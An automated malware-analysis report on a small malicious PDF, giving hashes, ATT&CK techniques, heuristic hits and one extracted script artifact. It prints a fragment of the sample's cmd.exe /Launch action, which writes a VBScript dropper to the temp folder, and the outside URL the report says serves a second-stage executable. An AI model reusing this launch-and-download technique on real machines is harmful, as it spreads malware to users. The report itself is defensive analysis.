Malicious PDF — malware analysis report

Static analysis result for SHA-256 2ef74d6697ab8bb1…

MALICIOUS

PDF

763 B
MD5: 797aa451ee713c431313baaf268e0847 SHA-1: 4e7c15d714fc68ab9d4604f9bb18d1de4d356f1e SHA-256: 2ef74d6697ab8bb10d5359c59a17d34bba90db97d4c4fba5d67fd94f7ea8ad19
140 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a launch action that executes cmd.exe. This command is used to download and execute a payload from the URL http://www.directvirus.com/sw3243223.exe. The embedded script marker and the PDF launch command indicate a malicious intent to download and run a second-stage executable.

Heuristics 4

  • /Launch action target: "cmd.exe" critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/q/c "echo Const\".Shell\" >> %temp%\\qweoi32.vbs & echo Set ASDSAD = CreateObject(G+T' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.directvirus.com/sw3243223.exe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000168.bin
637f2036ad188646ce599a5d7d3d209a722c8245b09839f9c60c4b7aa70953ed
pdf-embedded-script PDF decompressed stream script payload at offset 0x168 83 bytes